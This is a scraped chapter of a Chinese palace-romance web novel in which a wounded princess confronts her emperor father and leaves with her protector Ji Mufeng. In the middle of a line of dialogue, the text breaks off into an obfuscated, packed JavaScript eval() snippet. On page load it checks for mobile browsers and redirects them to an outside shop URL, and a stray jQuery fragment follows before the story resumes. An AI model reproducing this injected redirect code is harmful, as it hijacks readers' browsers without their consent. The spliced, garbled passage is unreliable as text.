文趣网 > 其他小说 > 艳指迷津:满城玉郎,偏你生妒 > 54. 在荆棘丛盛放
    姜世俨未敢再动,他知道以季沐风的能力,纵使身后有数十甲士,而他只有一人,也不敢说有胜算。

    他回头看了一眼,却见国师只是站在原地,宛如一个局外人,不禁暗骂了一声,随即咬牙厉声道:“大胆季沐风,竟敢私带凶器进殿,你意欲何为!”

    季沐风没有理会,只是眼角余梢微微向内,在他的角度,只能看见她端坐的背影,以及站在她对面已经压不住滔天怒火的皇帝。

    空气中飘散着的淡淡血腥气,让他的心脏如同被针扎过一般抽搐起来。

    此刻的承极殿用剑拔弩张来形容毫不夸张,紧绷冷冽如冰窖的气氛同時笼罩在门口以及殿内。

    想要置对方于死地的浓烈信号飘浮在每一处角落,各自都在僵持着,似乎正在等待谁的一声令下,厮杀一触即发!

    死寂中,姜世俨再次爆发怒吼:“季沐风!你是要造反吗?!”

    季沐风面色沉静一如平常,谁也不知道他已在片刻间就算好了如何带她杀出重围逃之夭夭,只是她不出声,他便不行动。

    以及……他抬眼望向仍旧四平八稳的知冥,思量着对方的行径。

    凤仪宫,心慧惊慌失措地奔进殿中,气喘吁吁道:“不好了不好了娘娘,景和公主不知说了什么,惹得龙颜震怒,季公子和小姜大人起了争执,奴婢瞧着情况不妙啊!也不知道会不会连累到娘娘您……”

    傅贵妃闻言,慢条斯理地把刚采摘的牡丹花插进白瓷瓶中,良久才头也不回地道:“慌什么,是谁要死了吗?”

    小丫头支支吾吾:“这……这倒没有。”

    “既没有,就干好你眼前的活,这些枯叶碍眼,去了吧。”

    心慧应是,遂不再言语。

    承极殿,皇帝目眦欲裂,居高临下死死瞪着她,她却始终垂眸不语。

    顺着这个角度,她长睫轻颤,与她生母有八分相似,然而这张相似的脸却因为自己而头破血流。这个发现让他有一瞬间的不适。

    自己是否真的过于严厉了?正这么想的时候,却见她缓缓勾起了唇角,于是那最后一丝不适也转瞬消失。

    他急促地喘息着,一字字从牙缝里挤出声音:“好,好得很!真不愧是你母亲养的好女儿!”

    鲜血汩汩而下,坠到衣衫上,染红了一片。她缓缓抬头,依旧嘴角含笑,只是眼前的景象都逐渐模糊,一半隔着朦胧水雾,一半隔着血色涟漪,她终于听到自己沙哑发颤的声音:“父亲……”

    皇帝心头猛地一震,眼前的她面上染血,眼眶含泪,直到尾音散尽,两行清泪混着血水滴答滚落,更刺眼的是那嘴角溃败虚弱的笑意,衬得她整个人仿佛就要迅速消融在空气中。

    满腔怒火霎时堵在了咽喉,不知如何宣泄。他的嘴张了张,却没有说半个字,恍惚间反复地怀疑自己刚才的举动:这是自己动手的吗?她已经被你杀过一次了还不够吗?为什么还要下如此重手?她不是你的亲生女儿吗?

    懊恼铺天盖地席卷而来,将他牢牢困在其中,直到眼前面孔与记忆中思念了千百次的她渐渐重合,她的温柔笑容映在了他的瞳孔中——

    “她最近真是闹腾得很,我真的怀疑大夫是不是把错脉了,这怎么能是女儿呢?”

    他的手轻轻贴上她腹部,那里已经高高隆起,里面的小生命似是感受到了外界的动静,急不可耐地顶起了小拳头。

    他笑了:“女儿好,我喜欢女儿,以后我保护你们母女俩。”

    落槐村的那一片小土坡,绿荫遍地,连山风都带着花香,他们相互依偎,他拢她入怀,觉得世间美好不过如此……

    “陛下!!季沐风目无王法,容臣将其就地斩杀!”

    姜世俨的怒喝声从殿门口传了进来,皇帝视线终于从她触目惊心的脸上移开,那口怒气找到了出口:

    “谁让你们进来的?朕与公主好好地吃一顿饭,全被你们搅和了!滚!!”

    姜世俨简直不敢相信自己的耳朵,陛下这是何意,为什么突然改变了主意?不是要将这二人绞杀了吗?

    正在怔愣间,只见季沐风手中长剑凭空消失,淡淡地扫了自己一眼,而后负手掠过他们走下御阶。

    殿内恢复了宁静,皇帝平复情绪重新落座,和声道:“方才是朕一时失态。”他拿了锦帕想去擦拭那张脸,呆愣地看了半晌却不知如何下手,轻轻地叹息一声,将锦帕塞到了她手里。

    她却没有接,鲜血渐渐干涸,泪水却怎么也止不住,她抬着那双泪眼看他,语气里满是委屈:“父亲,尽管您当年为了皇位背弃誓言,抛弃了我们母女,可是这么多年来,她从未在我面前说过您一句不是。她说您有您的处境,有您的不得已,让我不要怨恨,说破了天,您毕竟还是我的亲生父亲……”

    “如果不是她执意要走,你本该是在宫里长大,我们父女俩的关系也不会如此生硬。”

    “不在您膝下长大就不配得到您的爱了吗?您究竟是多么厌恶我们,所以恨不得杀了我!”

    “朕……我,”他嗫嚅道,“是我被鬼迷了心窍,你怨我也是应当的,我既没有成为一个好丈夫,也没有成为一个好父亲,是我对不起你们。但是有一点你不要怀疑,你娘,是我这辈子最爱的女子。”

    “您口口声声说爱着我娘,却连她生前最后一面都不愿意去见她,你根本不知道她在病中念叨着你的名字,没有等到她想见的人,郁郁而终……”

    那一声声的尖锐控诉,就像无数小碎石砸在他心上,似乎真起到了让他反思的效果,眼底的锋芒尽数散尽,化作了盈盈泪光。

    赵舒行喉头急剧滚动,像是要一口气倒尽心底的苦水,却怎么也止不住哭泣,一张口就只有细碎哽咽声。

    这样的她看上去少了几分先前的犀利,多了几分孩子气的倔强别扭,也更像是一个女儿在跟老父亲撒娇。

    皇帝靠近了些,轻抚她的后背,颤声道:“好啦景和,我知道你心里委屈,所以跟我闹别扭。是我不好,没能保护好你们,让你们受尽苦楚。眼下这顿饭也是不太合适了,改日咱们父女再好好聚聚,你放心,该有的补偿我都会给,以后我会当个好父亲的。”

    他顿了顿,又道:“你这伤口还是得处理,我派人送你回清晏殿,让太医好好医治,女子还是不要留疤为好。”

    赵舒行拼命压制情绪,好不容易能够将话表达完整,尽管听上去还是有点无力:“我叫赵舒行,随母姓。”

    皇帝眉心微蹙,又转瞬舒展,无奈道:“好,你爱叫什么就叫什么,你母亲若是地下有灵,知道你这么孝顺,应当也是开心的。”他刚感慨完,还在琢磨着如何让她柔和更顺从,第二个拒绝已经接上了:

    “我不要住在这里。”

    皇帝:“不住这里你要住哪里?再出宫跟那季家小子住在一起?你就那么喜欢他?”

    “我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17901857|209199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怎么知道住在这宫里是不是还会有人想着害我性命,只有住在那里让我安心,这几个月若不是得他相助,我早就不能活着回来了。”

    皇帝闻言,其实是不高兴的,但是一抬眼见到还未干涸的血迹,什么恼火都瞬间熄了,道:“行吧,只是你们毕竟男女有别,得顾及皇家名誉,若真的决定是他了,等我替你们赐婚了再……”

    “我们的事不要你管。”

    她直接打断了他的话,拿过他的御帕兀自擦拭着脸上的血和泪:

    “还有沈芜的事,也不要你管。”

    良久只听皇帝轻叹了口气道:“都依你。”

    她擦完了眼泪,攥着那方御帕静静坐着,抿唇不语,垂着头看上去很不服气,刚才强烈的情绪爆发,让她的肩头仍在一下下的耸动。

    皇帝显得有些无措,似乎一下子就转变成了纵容女儿扭捏的慈父,极尽温柔:“今日就到此吧,你愿意住那里就住那里,哪天想回来了,这里永远是你的家。”

    “那我走了。”她既不行礼,说话也不客气,起身的瞬间听到了他低低的笑声:

    “你这性子啊,不像你母亲,倒像你的外祖父,刚硬得很。”

    她细细地分辨着,那声音竟隐隐含着些许欣赏。

    她没有搭理,转身离去,神情却在前行的步伐中逐渐冷厉。

    殿门大开,季沐风已在门口等候,她清晰地看到那张贯来平静的面容有一瞬的惊慌。

    看来自己这副模样真的有点惨呢。她自嘲道。

    也许是方才强烈情绪的透支,猝然放松下来身体便无力地往前倒去,稳稳地落在了身前的臂弯里,耳边听着他轻声说:“回家。”

    姜世俨没想到最后的结果竟成了这样,心中愤恨不平,枉费一番布置全打了水漂,国师不知何时已经不见。

    一乘凤撵远远而来,竟像是等候了许久,终于找到了时机,心慧在侧盈盈施了一礼:“奉贵妃娘娘令,由奴婢护送公主回府。”

    赵舒行靠在季沐风身上,撩起眼皮:“有劳了。”

    身子忽然一轻,是季沐风打横抱起了她,她顺势往里一缩,贴向胸膛,感受着他身上令人安心的气味。

    季沐风抱着她正要上轿撵,却听到她说:“等等。”

    只见她微微偏头,朝另一边的姜世俨投去了一道视线:“刚刚你说要把谁就地斩杀?”

    浓浓的一股秋后算账的意味,姜世俨到底是见过世面的,知道对方哪怕再不爽也没办法拿自己怎么样,他垂头拱手道:“臣只是……”

    “你叫什么名字?”

    话未完又被打断,恼火冲上心头:这已经是她今天第三次问自己名字了!分明是羞辱!

    他盯着自己的鞋尖,勉力压下怒意,却听到那声音再次扬起:“问你话呢?聋了吗?”

    他咬牙道:“臣姜……”

    “算了,本公主忽然不想知道了。”

    他简直忍无可忍,愤而仰起头怒瞪,却对上了她嬉笑着饱含讥讽的眸子,心头陡然一震,被愚弄想要反击的怒意就这么凭空消失了。

    他怔愣在原地,被陡然闯入眼帘的美貌夺去了所有注意力。美丽的女子他自认见过无数,却没有像她这样,伤口还渗着血,分明凄惨却全无狼狈,宛如一朵开在荆棘丛里的花朵,染着毒液,开得更艳丽了。

    那双冷厉的眸子直直地盯着他,勾得他一阵心猿意马。